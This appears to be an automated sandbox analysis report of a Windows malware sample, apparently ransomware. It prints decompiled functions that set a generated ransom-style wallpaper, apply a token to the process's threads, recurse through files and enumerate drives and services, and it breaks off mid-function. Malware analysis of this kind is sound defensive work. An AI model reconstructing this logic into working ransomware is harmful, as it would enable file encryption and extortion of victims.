              				void* _t62;
              				int _t67;
              				void* _t68;
              				struct HBRUSH__* _t73;
              				signed int _t77;
              				int _t91;
              				signed int _t92;
              				signed int _t94;
              				signed int _t96;
              				struct HDC__* _t101;
              				struct HDC__* _t102;
              				signed int _t104;
              				signed int _t111;
              				signed int _t112;
              				signed char _t114;
              				int _t121;
              				void* _t123;
              				struct HDC__* _t128;
              				int _t132;
              				int _t133;
              				void* _t134;
              
              				_t56 = GetDC(0);
              				_t101 = _t56;
              				_v32 = _t101;
              				if(_t101 != 0) {
              					_t57 = CreateCompatibleDC(_t101); // executed
              					_t128 = _t57;
              					_v20 = _t128;
              					if(_t128 == 0) {
              						L17:
              						return ReleaseDC(0, _t101);
              					}
              					_t59 = GetDeviceCaps(_t101, 8);
              					_t121 = _t59;
              					_t60 = 0xa;
              					_v28 = _t121;
              					_v16 = _t60;
              					_t61 = GetDeviceCaps(_t101, _t60);
              					_v8 = _t61;
              					_t62 = CreateCompatibleBitmap(_t101, _t121, _t61); // executed
              					_v24 = _t62;
              					if(_t62 == 0) {
              						L16:
              						DeleteDC(_t128);
              						goto L17;
              					}
              					SelectObject(_t128, _t62);
              					_t67 =  ~(MulDiv(0x12, GetDeviceCaps(_t101, 0x5a), 0x48));
              					_v36 = _t67;
              					_t68 = CreateFontW(_t67, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 4, 0, 0);
              					_v40 = _t68;
              					if(_t68 == 0) {
              						L15:
              						DeleteObject(_v24);
              						goto L16;
              					}
              					SelectObject(_t128, _t68);
              					SetBkMode(_t128, 1);
              					SetTextColor(_t128, 0xffffff);
              					_t73 = GetStockObject(2);
              					_v56.left = _v56.left & 0x00000000;
              					_v56.top = _v56.top & 0x00000000;
              					_v56.right = _t121;
              					_v56.bottom = _v8;
              					FillRect(_t128,  &_v56, _t73);
              					_t104 = _v8;
              					_t77 = _t104 * _t121;
              					asm("cdq");
              					_t114 = _t77 % _v16;
              					if(_t77 / _v16 <= 0) {
              						L12:
              						asm("cdq");
              						asm("cdq");
              						_v56.top = (_v56.bottom - _t114 >> 1) - (_v8 - _t114 >> 1) - _v36;
              						DrawTextW(_t128,  *0x2363524, 0xffffffff,  &_v56, 0x11); // executed
              						_t123 = E02354DF5(_t114, _t144);
              						if(_t123 != 0) {
              							E02354C40(_t114, _v24, _t101, _t123); // executed
              							SystemParametersInfoW(0x14, 0, _t123, 3);
              							E023551C1(_t123);
              						}
              						DeleteObject(_v40);
              						goto L15;
              					}
              					_t91 = 0;
              					_v12 = 0;
              					if(_t121 <= 0) {
              						goto L12;
              					}
              					_t102 = _t128;
              					do {
              						_v16 = _v16 & 0x00000000;
              						if(_t104 <= 0) {
              							goto L10;
              						} else {
              							goto L8;
              						}
              						do {
              							L8:
              							_t92 = E02355BC6(_t114, 0, 0xffffffff);
              							_t94 = E02355BC6(_t92 % 0xc8, 0, 0xffffffff);
              							_t111 = 0x1e;
              							_t96 = E02355BC6(_t94 % _t111, 0, 0xffffffff);
              							_t134 = _t134 + 0x18;
              							_t132 = _v16;
              							_t112 = 0x1e;
              							_t114 = _t96 % _t112;
              							SetPixel(_t102, _v12, _t132, _t114 & 0x000000ff | (_t94 % _t111 & 0x000000ff | (_t92 % 0x000000c8 & 0x000000ff) << 0x00000008) << 0x00000008); // executed
              							_t104 = _v8;
              							_t133 = _t132 + 1;
              							_v16 = _t133;
              						} while (_t133 < _t104);
              						_t121 = _v28;
              						_t91 = _v12;
              						L10:
              						_t91 = _t91 + 1;
              						_v12 = _t91;
              						_t144 = _t91 - _t121;
              					} while (_t91 < _t121);
              					_t101 = _v32;
              					_t128 = _v20;
              					goto L12;
              				}
              				return _t56;
              			}







































              0x02354f03
              0x02354f09
              0x02354f0b
              0x02354f10
              0x02354f18
              0x02354f1e
              0x02354f20
              0x02354f25
              0x023550fb
              0x00000000
              0x02355104
              0x02354f2f
              0x02354f37
              0x02354f39
              0x02354f3c
              0x02354f3f
              0x02354f42
              0x02354f4b
              0x02354f4e
              0x02354f54
              0x02354f59
              0x023550f3
              0x023550f4
              0x00000000
              0x023550fa
              0x02354f61
              0x02354f7d
              0x02354f8f
              0x02354f92
              0x02354f98
              0x02354f9d
              0x023550ea
              0x023550ed
              0x00000000
              0x023550ed
              0x02354fa5
              0x02354fae
              0x02354fba
              0x02354fc2
              0x02354fcb
              0x02354fcf
              0x02354fd7
              0x02354fdc
              0x02354fdf
              0x02354fe5
              0x02354fea
              0x02354fed
              0x02354fee
              0x02354ff3
              0x02355086
              0x02355089
              0x02355091
              0x023550ab
              0x023550af
              0x023550ba
              0x023550be
              0x023550c5
              0x023550d4
              0x023550db
              0x023550e0
              0x023550e4
              0x00000000
              0x023550e4
              0x02354ff9
              0x02354ffb
              0x02355000
              0x00000000
              0x00000000
              0x02355006
              0x02355008
              0x02355008
              0x0235500e
              0x00000000
              0x00000000
              0x00000000
              0x00000000
              0x02355010
              0x02355010
              0x02355014
              0x0235502c
              0x02355033
              0x02355044
              0x02355049
              0x0235504c
              0x02355053
              0x02355054
              0x02355061
              0x02355067
              0x0235506a
              0x0235506b
              0x0235506e
              0x02355072
              0x02355075
              0x02355078
              0x02355078
              0x02355079
              0x0235507c
              0x0235507c
              0x02355080
              0x02355083
              0x00000000
              0x02355083
              0x02355109

              APIs
              • GetDC.USER32(00000000), ref: 02354F03
              • CreateCompatibleDC.GDI32(00000000), ref: 02354F18
              • GetDeviceCaps.GDI32(00000000,00000008), ref: 02354F2F
              • GetDeviceCaps.GDI32(00000000,0000000A), ref: 02354F42
              • CreateCompatibleBitmap.GDI32(00000000,00000000,00000000), ref: 02354F4E
              • SelectObject.GDI32(00000000,00000000), ref: 02354F61
              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 02354F6A
              • MulDiv.KERNEL32(00000012,00000000,00000048), ref: 02354F75
              • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000004,00000000,00000000), ref: 02354F92
              • SelectObject.GDI32(00000000,00000000), ref: 02354FA5
              • SetBkMode.GDI32(00000000,00000001), ref: 02354FAE
              • SetTextColor.GDI32(00000000,00FFFFFF), ref: 02354FBA
              • GetStockObject.GDI32(00000002), ref: 02354FC2
              • FillRect.USER32(00000000,00000000,00000000), ref: 02354FDF
              • SetPixel.GDI32(00000000,?,00000000,00000000), ref: 02355061
              • DrawTextW.USER32(00000000,000000FF,00000000,00000011,?), ref: 023550AF
              • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 023550D4
              • DeleteObject.GDI32(?), ref: 023550E4
              • DeleteObject.GDI32(?), ref: 023550ED
              • DeleteDC.GDI32(00000000), ref: 023550F4
              • ReleaseDC.USER32(00000000,00000000), ref: 023550FE
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Object$CapsCreateDeleteDevice$CompatibleSelectText$BitmapColorDrawFillFontInfoModeParametersPixelRectReleaseStockSystem
              • String ID:
              • API String ID: 830383330-0
              • Opcode ID: f55bc8119c0fb660cd2c1ee517628e4493a87f4877e81bf6297d204fc8ab8855
              • Instruction ID: be48a1f85c6e0a81266d37cfa817944fa5cdc3777336adcd3095c45ce00ab1cc
              • Opcode Fuzzy Hash: f55bc8119c0fb660cd2c1ee517628e4493a87f4877e81bf6297d204fc8ab8855
              • Instruction Fuzzy Hash: 5B5180B1E40215AFEB149FA5DC4DFAFBABDEF48712F118519FE05A62C0DBB059108B60
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              C-Code - Quality: 100%
              			E02357FC1(void* __ebx, void* _a4) {
              				void* _v8;
              				long _v12;
              				intOrPtr _v28;
              				long _v32;
              				void* _v40;
              				void* _t13;
              				int _t15;
              				long _t19;
              				int _t21;
              				void* _t22;
              				long _t27;
              				void* _t31;
              				int _t32;
              
              				_t32 = 0;
              				_t13 = CreateToolhelp32Snapshot(4, 0); // executed
              				_t31 = _t13;
              				_v40 = 0x1c;
              				_t15 = Thread32First(_t31,  &_v40); // executed
              				if(_t15 == 0) {
              					L8:
              					E02355416(_t31);
              					return _t32;
              				}
              				_t27 = GetCurrentProcessId();
              				_t19 = GetCurrentThreadId();
              				_v12 = _t19;
              				do {
              					if(_v28 == _t27 && _v32 != _t19) {
              						_t22 = OpenThread(0x80, _t32, _v32);
              						_v8 = _t22;
              						if(_t22 != 0) {
              							SetThreadToken( &_v8, _a4); // executed
              							E02355416(_v8);
              						}
              					}
              					_t21 = Thread32Next(_t31,  &_v40);
              					_t19 = _v12;
              				} while (_t21 != 0);
              				_t32 = 1;
              				goto L8;
              			}
















              0x02357fc9
              0x02357fce
              0x02357fd4
              0x02357fd6
              0x02357fe2
              0x02357fea
              0x02358048
              0x02358049
              0x02358056
              0x02358056
              0x02357ff2
              0x02357ff4
              0x02357ff9
              0x02357ffc
              0x02357fff
              0x0235800f
              0x02358015
              0x0235801a
              0x02358023
              0x0235802c
              0x02358031
              0x0235801a
              0x02358037
              0x0235803f
              0x0235803f
              0x02358046
              0x00000000

              APIs
              • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 02357FCE
              • Thread32First.KERNEL32(00000000,0000001C), ref: 02357FE2
              • GetCurrentProcessId.KERNEL32(00000000), ref: 02357FED
              • GetCurrentThreadId.KERNEL32 ref: 02357FF4
              • OpenThread.KERNEL32(00000080,00000000,?,00000000), ref: 0235800F
              • SetThreadToken.KERNELBASE(?,?), ref: 02358023
                • Part of subcall function 02355416: CloseHandle.KERNEL32(00000000,?,02357EE5,00000000,?,02357F44,?,00000000,?,023539DE,?,00000000,00000000,02353B70), ref: 02355422
              • Thread32Next.KERNEL32(00000000,0000001C), ref: 02358037
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Thread$CurrentThread32$CloseCreateFirstHandleNextOpenProcessSnapshotTokenToolhelp32
              • String ID:
              • API String ID: 3961639229-0
              • Opcode ID: fe1e2abb0a2968b4a34f2538a6562f3e8d2417a0d671493c95b846b22a63bfe5
              • Instruction ID: 1497150b8b34b22d86c32faad7392f2c44ea2370e620b8fc52dd4f91e4226d6d
              • Opcode Fuzzy Hash: fe1e2abb0a2968b4a34f2538a6562f3e8d2417a0d671493c95b846b22a63bfe5
              • Instruction Fuzzy Hash: 1E1186B1E40229AFCB20ABE5D848DAFBBBCEF04791F104465ED09E2140DB34D9508BA0
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              • Executed
              • Not Executed
              control_flow_graph 432 2358122-235814d 434 2358323-2358326 432->434 435 2358153-2358162 call 23583fc call 2353338 432->435 437 2358173-2358179 434->437 438 235832c 434->438 448 2358165-235816e 435->448 440 235817b-23581af call 235695a call 23551c1 * 2 437->440 441 23581ba-23581bc 437->441 442 2358342-2358344 438->442 464 23581b4-23581b9 440->464 465 23581b1 440->465 441->442 446 23581c2-23581ed call 2356a03 call 2356878 call 2355b02 441->446 443 2358346-235834c 442->443 444 235832e-2358341 call 23551c1 * 2 442->444 444->442 466 2358201-2358203 FindFirstFileW 446->466 467 23581ef-23581ff FindFirstFileExW 446->467 452 2358320 448->452 452->434 464->441 465->464 468 2358209-235820f 466->468 467->468 468->434 469 2358215 468->469 470 2358217-235822c call 23568f9 469->470 473 2358232-2358247 call 23568f9 470->473 474 23582fe-2358301 470->474 473->474 479 235824d-2358257 473->479 475 2358303-2358313 FindNextFileW 474->475 476 2358319-235831a FindClose 474->476 475->470 475->476 476->452 479->474 480 235825d-2358279 call 235695a 479->480 483 23582bb-23582df 480->483 484 235827b-2358296 call 2356878 480->484 483->474 488 23582e1-23582f2 call 2353ee4 483->488 484->474 491 2358298-23582ad call 23583fc call 2353338 484->491 490 23582f5-23582fb 488->490 490->474 494 23582b0-23582b9 491->494 494->474
              C-Code - Quality: 79%
              			E02358122(WCHAR* _a4, int _a8) {
              				signed int _v8;
              				intOrPtr* _v12;
              				signed int _v16;
              				signed int _v20;
              				signed int _v24;
              				intOrPtr _v28;
              				struct _WIN32_FIND_DATAW _v620;
              				int _t66;
              				signed int _t68;
              				void* _t70;
              				signed int _t73;
              				int _t75;
              				signed int _t77;
              				intOrPtr _t82;
              				signed int _t84;
              				void* _t86;
              				signed int _t89;
              				void* _t93;
              				signed int _t98;
              				signed int _t99;
              				intOrPtr* _t103;
              				void* _t104;
              				signed int _t112;
              				int _t119;
              				signed int* _t120;
              				WCHAR* _t121;
              				intOrPtr* _t122;
              				intOrPtr* _t123;
              				intOrPtr* _t124;
              
              				_t121 = _a4;
              				_t120 = _a8;
              				_t103 = 0;
              				_v8 = 0;
              				_v12 = 0;
              				_v20 = 0;
              				_v16 = 0;
              				_t120[1](_t121, 0);
              				if(0 == 0) {
              					goto L24;
              				} else {
              					E023583FC( &_v20, _t121);
              					_t66 = _t120[0xa](_t120[3], _t121, 0);
              					_t124 = _t124 + 0x14;
              					_t120[6] = _t120[6] + _t66;
              					asm("adc [edi+0x1c], edx");
              					L23:
              					_t103 = _v12;
              					L24:
              					while( *_t120 == 0) {
              						_t66 = _v20 | _v16;
              						__eflags = _t66;
              						if(_t66 != 0) {
              							E0235695A(_t121,  *_t103);
              							_t123 = _t103;
              							_t103 =  *((intOrPtr*)(_t103 + 4));
              							_v12 = _t103;
              							E023551C1( *_t123);
              							E023551C1(_t123);
              							_t124 = _t124 + 0x10;
              							_t112 = _v16;
              							_t98 = _v20 + 0xffffffff;
              							_v20 = _t98;
              							asm("adc ecx, 0xffffffff");
              							_t99 = _t98 | _t112;
              							__eflags = _t99;
              							_v16 = _t112;
              							if(_t99 == 0) {
              								_t21 =  &_v8;
              								 *_t21 = _v8 & _t99;
              								__eflags =  *_t21;
              							}
              							_t121 = _a4;
              							_t66 = 1;
              							__eflags = 1;
              						}
              						__eflags = _t66;
              						if(_t66 == 0) {
              							L27:
              							while(_t103 != 0) {
              								_t122 = _t103;
              								_t103 =  *((intOrPtr*)(_t103 + 4));
              								E023551C1( *_t122);
              								_t66 = E023551C1(_t122);
              							}
              							return _t66;
              						}
              						_t68 = E02356A03(_t121);
              						 *_t124 = 0x235e328;
              						_push(_t121);
              						_v24 = _t68;
              						E02356878(__eflags);
              						_t70 = E02355B02();
              						__eflags = _t70 - 0x601;
              						if(_t70 < 0x601) {
              							_t66 = FindFirstFileW(_t121,  &_v620);
              						} else {
              							_t66 = FindFirstFileExW(_t121, 1,  &_v620, 0, 0, 2); // executed
              						}
              						_a8 = _t66;
              						__eflags = _t66 - 0xffffffff;
              						if(_t66 == 0xffffffff) {
              							continue;
              						} else {
              							_t104 = _t66;
              							while(1) {
              								_t73 = E023568F9( &(_v620.cFileName), ".");
              								__eflags = _t73;
              								if(_t73 != 0) {
              									_t77 = E023568F9( &(_v620.cFileName), 0x235e320);
              									__eflags = _t77;
              									if(_t77 != 0) {
              										__eflags = _v620.dwFileAttributes & 0x00000400;
              										if((_v620.dwFileAttributes & 0x00000400) == 0) {
              											E0235695A( &(_t121[_v24]),  &(_v620.cFileName));
              											__eflags = _v620.dwFileAttributes & 0x00000010;
              											if(__eflags == 0) {
              												_t119 = _v620.nFileSizeHigh;
              												_t82 = _v620.nFileSizeLow;
              												_v28 = _t82;
              												_a8 = _t119;
              												_t84 = _t120[2](_t121,  &(_v620.cFileName), _t82, _t119);
              												_t124 = _t124 + 0x10;
              												__eflags = _t84;
              												if(_t84 != 0) {
              													_t86 = _t120[0xb](_t120[4], _t121,  &(_v620.cFileName), _v28, _a8);
              													_t124 = _t124 + 0x14;
              													_t120[8] = _t120[8] + _t86;
              													asm("adc [edi+0x24], edx");
              												}
              											} else {
              												E02356878(__eflags, _t121, 0x235e32c);
              												_t89 = _t120[1](_t121,  &(_v620.cFileName));
              												_t124 = _t124 + 0x10;
              												__eflags = _t89;
              												if(_t89 != 0) {
              													E023583FC( &_v20, _t121);
              													_t93 = _t120[0xa](_t120[3], _t121,  &(_v620.cFileName));
              													_t124 = _t124 + 0x14;
              													_t120[6] = _t120[6] + _t93;
              													asm("adc [edi+0x1c], edx");
              												}
              											}
              										}
              									}
              								}
              								__eflags =  *_t120;
              								if( *_t120 != 0) {
              									break;
              								}
              								_t75 = FindNextFileW(_t104,  &_v620); // executed
              								__eflags = _t75;
              								if(_t75 != 0) {
              									continue;
              								}
              								break;
              							}
              							_t66 = FindClose(_t104); // executed
              							goto L23;
              						}
              					}
              					goto L27;
              				}
              			}
































              0x0235812d
              0x02358133
              0x02358136
              0x0235813a
              0x0235813d
              0x02358140
              0x02358143
              0x02358146
              0x0235814d
              0x00000000
              0x02358153
              0x02358158
              0x02358162
              0x02358165
              0x02358168
              0x0235816b
              0x02358320
              0x02358320
              0x00000000
              0x02358323
              0x02358176
              0x02358176
              0x02358179
              0x0235817e
              0x02358183
              0x02358185
              0x02358188
              0x0235818d
              0x02358193
              0x0235819b
              0x0235819e
              0x023581a1
              0x023581a4
              0x023581a7
              0x023581aa
              0x023581aa
              0x023581ac
              0x023581af
              0x023581b1
              0x023581b1
              0x023581b1
              0x023581b1
              0x023581b4
              0x023581b9
              0x023581b9
              0x023581b9
              0x023581ba
              0x023581bc
              0x00000000
              0x02358342
              0x0235832e
              0x02358330
              0x02358335
              0x0235833b
              0x02358341
              0x0235834c
              0x0235834c
              0x023581c3
              0x023581c8
              0x023581cf
              0x023581d0
              0x023581d3
              0x023581da
              0x023581e4
              0x023581ed
              0x02358203
              0x023581ef
              0x023581f9
              0x023581f9
              0x02358209
              0x0235820c
              0x0235820f
              0x00000000
              0x02358215
              0x02358215
              0x02358217
              0x02358223
              0x0235822a
              0x0235822c
              0x0235823e
              0x02358245
              0x02358247
              0x0235824d
              0x02358257
              0x0235826b
              0x02358270
              0x02358279
              0x023582bb
              0x023582c1
              0x023582c9
              0x023582d4
              0x023582d7
              0x023582da
              0x023582dd
              0x023582df
              0x023582f2
              0x023582f5
              0x023582f8
              0x023582fb
              0x023582fb
              0x0235827b
              0x02358281
              0x0235828e
              0x02358291
              0x02358294
              0x02358296
              0x0235829d
              0x023582ad
              0x023582b0
              0x023582b3
              0x023582b6
              0x023582b6
              0x02358296
              0x02358279
              0x02358257
              0x02358247
              0x023582fe
              0x02358301
              0x00000000
              0x00000000
              0x0235830b
              0x02358311
              0x02358313
              0x00000000
              0x00000000
              0x00000000
              0x02358313
              0x0235831a
              0x00000000
              0x0235831a
              0x0235820f
              0x00000000
              0x0235832c

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c7d4d5115afc7bb7350b4e7837448be7af60794839c95ec6348278b1e49ad0f8
              • Instruction ID: 8c8721be3d98e43b883c1a9e21a8504af0cc0b09fe3bb1be371befcd7cfa1f7c
              • Opcode Fuzzy Hash: c7d4d5115afc7bb7350b4e7837448be7af60794839c95ec6348278b1e49ad0f8
              • Instruction Fuzzy Hash: 33616E7190062AAFDB20AF64CC45EAEBBBCFF04324F504565ED19E6141EB35EA90CF94
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023561C8() {
              				long _t3;
              				long _t4;
              
              				timeBeginPeriod(1);
              				_t4 = timeGetTime();
              				do {
              					Sleep(1); // executed
              					_t3 = timeGetTime();
              				} while (_t4 == _t3);
              				return _t3;
              			}





              0x023561cb
              0x023561d7
              0x023561d9
              0x023561db
              0x023561e1
              0x023561e7
              0x023561ec

              APIs
              • timeBeginPeriod.WINMM(00000001,?,02356134,00000000,00000000,00000000,?,00000030,00000000,?,?,02356F8E,?,00000020,00000000), ref: 023561CB
              • timeGetTime.WINMM(?,02356F8E,?,00000020,00000000,?,02356F37,?,?,0235252C,?,02363440), ref: 023561D1
              • Sleep.KERNELBASE(00000001,?,02356F8E,?,00000020,00000000,?,02356F37,?,?,0235252C,?,02363440), ref: 023561DB
              • timeGetTime.WINMM(?,02356F8E,?,00000020,00000000,?,02356F37,?,?,0235252C,?,02363440), ref: 023561E1
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: time$Time$BeginPeriodSleep
              • String ID:
              • API String ID: 4118631919-0
              • Opcode ID: fb5bce0a54a0f27d0c277d068ee8f50698a664140b1bbd2f029639ebb2cb3b98
              • Instruction ID: 71f629a2eeef891fcbc636a5520ed8648b7fec274de34c847b9ea0da9074c182
              • Opcode Fuzzy Hash: fb5bce0a54a0f27d0c277d068ee8f50698a664140b1bbd2f029639ebb2cb3b98
              • Instruction Fuzzy Hash: D4C01271D801205FD3202720B82DA9A7A6CDB013E1F034814FD0795082DAE10CD18AB1
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02355508(signed int* _a4) {
              				signed int _v8;
              				int _v12;
              				intOrPtr _v16;
              				short _v20;
              				union _ULARGE_INTEGER _v28;
              				intOrPtr _t23;
              				int _t31;
              				short _t34;
              				long _t40;
              				void* _t41;
              				short _t42;
              				void* _t45;
              				signed int _t46;
              				void* _t47;
              				union _ULARGE_INTEGER* _t49;
              				signed int _t50;
              
              				_t46 = 0;
              				_t50 = 0;
              				_v8 = 0;
              				_t41 = 0;
              				_t47 = 0x5a;
              				L1:
              				while(1) {
              					if(_t41 == 0) {
              						L5:
              						_t42 =  *0x235e198; // 0x3a0041
              						_t23 =  *0x235e19c; // 0x5c
              						_v20 = _t42;
              						_v16 = _t23;
              						if(_t42 > _t47) {
              							L14:
              							_t46 = _v8;
              							_t41 = _t41 + 1;
              							if(_t41 > 1) {
              								L17:
              								return _t46;
              							}
              							continue;
              						}
              						_t6 = _t46 + 0xe; // 0xe
              						_t49 = _t6 + _t50 * 0x16;
              						do {
              							_t31 = GetDriveTypeW( &_v20); // executed
              							_v12 = _t31;
              							if(E023583BE(_t31) != 0) {
              								if(_t41 != 0) {
              									 *((short*)(_t49 - 0xe)) = _v20;
              									 *(_t49 - 0xc) = _v12;
              									_t13 = _t49 - 8; // 0x6
              									_t40 = GetDiskFreeSpaceExW( &_v20,  &_v28, _t13, _t49); // executed
              									if(_t40 == 0) {
              										_t49->LowPart = _t40;
              										_t49->LowPart.HighPart = _t40;
              										 *(_t49 - 8) = _t40;
              										 *(_t49 - 4) = _t40;
              									}
              								}
              								_t50 = _t50 + 1;
              								_t49 = _t49 + 0x16;
              							}
              							_t34 = _v20 + 1;
              							_t45 = 0x5a;
              							_v20 = _t34;
              						} while (_t34 <= _t45);
              						_t47 = _t45;
              						goto L14;
              					}
              					if(_t50 == 0) {
              						L16:
              						 *_a4 =  *_a4 & 0x00000000;
              						goto L17;
              					}
              					_t46 = E02355174(_t50 * 0x16);
              					_v8 = _t46;
              					if(_t46 == 0) {
              						goto L16;
              					}
              					 *_a4 = _t50;
              					_t50 = 0;
              					goto L5;
              				}
              			}



















              0x02355511
              0x02355513
              0x02355517
              0x0235551a
              0x0235551c
              0x00000000
              0x0235551d
              0x0235551f
              0x02355547
              0x02355547
              0x0235554d
              0x02355552
              0x02355555
              0x0235555b
              0x023555c9
              0x023555c9
              0x023555cc
              0x023555d0
              0x023555df
              0x023555e5
              0x023555e5
              0x00000000
              0x023555d2
              0x02355560
              0x02355563
              0x02355565
              0x02355569
              0x02355570
              0x0235557b
              0x0235557f
              0x02355585
              0x0235558c
              0x0235558f
              0x0235559c
              0x023555a4
              0x023555a6
              0x023555a8
              0x023555ab
              0x023555ae
              0x023555ae
              0x023555a4
              0x023555b1
              0x023555b2
              0x023555b2
              0x023555bb
              0x023555bd
              0x023555be
              0x023555c2
              0x023555c8
              0x00000000
              0x023555c8
              0x02355523
              0x023555d7
              0x023555da
              0x00000000
              0x023555da
              0x02355532
              0x02355534
              0x0235553a
              0x00000000
              0x00000000
              0x02355543
              0x02355545
              0x00000000
              0x02355545

              APIs
              • GetDriveTypeW.KERNELBASE(?,00000001,00000000,02361278,?,?,?,?,02351AC0,?), ref: 02355569
              • GetDiskFreeSpaceExW.KERNELBASE(?,?,00000006,0000000E,?,?,?,?,02351AC0,?), ref: 0235559C
              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: DiskDriveFreeSpaceType
              • String ID: A:\
              • API String ID: 1419299958-3379428675
              • Opcode ID: 601934add70d413b4bffb69376c11ba0f9d5f9df5d955d7d052cc3b8223a1b46
              • Instruction ID: 6c95e35f2ff89aae7b9b88561f75fc7a330d1e78d7a7503ae7f1f77ba7653da7
              • Opcode Fuzzy Hash: 601934add70d413b4bffb69376c11ba0f9d5f9df5d955d7d052cc3b8223a1b46
              • Instruction Fuzzy Hash: 1D2173B6D003269BDB14DFA9D844A9FBBBDFF44710F55862AED0AD7200E73096418B90
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 24%
              			E0235423B() {
              				char _v8;
              				char _v12;
              				void* _t11;
              				void* _t21;
              				intOrPtr* _t26;
              				void* _t34;
              				void* _t37;
              				void* _t40;
              
              				_push(_t28);
              				_t11 = E02355DBD();
              				_t34 = _t11;
              				if(_t34 != 0) {
              					_t37 = 0;
              					_push(0);
              					_push(0);
              					_push( &_v12);
              					_v8 = 0;
              					_push( &_v8);
              					_push(0);
              					_push(0);
              					_push(1);
              					_push(0x30);
              					_push(0);
              					_push(_t34);
              					_v12 = 0;
              					if( *0x2362738() == 0 || RtlGetLastWin32Error() == 0xea) {
              						_t26 = E02355174(_v8);
              						if(_t26 != 0) {
              							_push(_t37);
              							_push(_t37);
              							_push( &_v12);
              							_push( &_v8);
              							_push(_v8);
              							_push(_t26);
              							_push(1);
              							_push(0x30);
              							_push(_t37);
              							_push(_t34);
              							if( *0x2362738() != 0) {
              								if(_v12 > _t37) {
              									do {
              										if(E0235326B( *_t26) == 0) {
              											goto L10;
              										} else {
              											_t21 = E02355DCD(_t34,  *_t26, 1); // executed
              											_t40 = _t40 + 0xc;
              											if(_t21 != 0) {
              												goto L10;
              											}
              										}
              										goto L11;
              										L10:
              										_t37 = _t37 + 1;
              										_t26 = _t26 + 0x2c;
              									} while (_t37 < _v12);
              								}
              								L11:
              								_t37 = 1;
              							}
              							E02355D9B(_t34);
              							_t11 = _t37;
              						} else {
              							E02355D9B(_t34);
              							_t11 = 0;
              						}
              					} else {
              						E02355D9B(_t34);
              						_t11 = 0;
              					}
              				}
              				return _t11;
              			}











              0x0235423f
              0x02354241
              0x02354246
              0x0235424a
              0x02354251
              0x02354256
              0x02354257
              0x02354258
              0x0235425c
              0x0235425f
              0x02354260
              0x02354261
              0x02354262
              0x02354264
              0x02354266
              0x02354267
              0x02354268
              0x02354273
              0x02354295
              0x0235429a
              0x023542a6
              0x023542a7
              0x023542ab
              0x023542af
              0x023542b0
              0x023542b3
              0x023542b4
              0x023542b6
              0x023542b8
              0x023542b9
              0x023542c2
              0x023542c7
              0x023542c9
              0x023542d3
              0x00000000
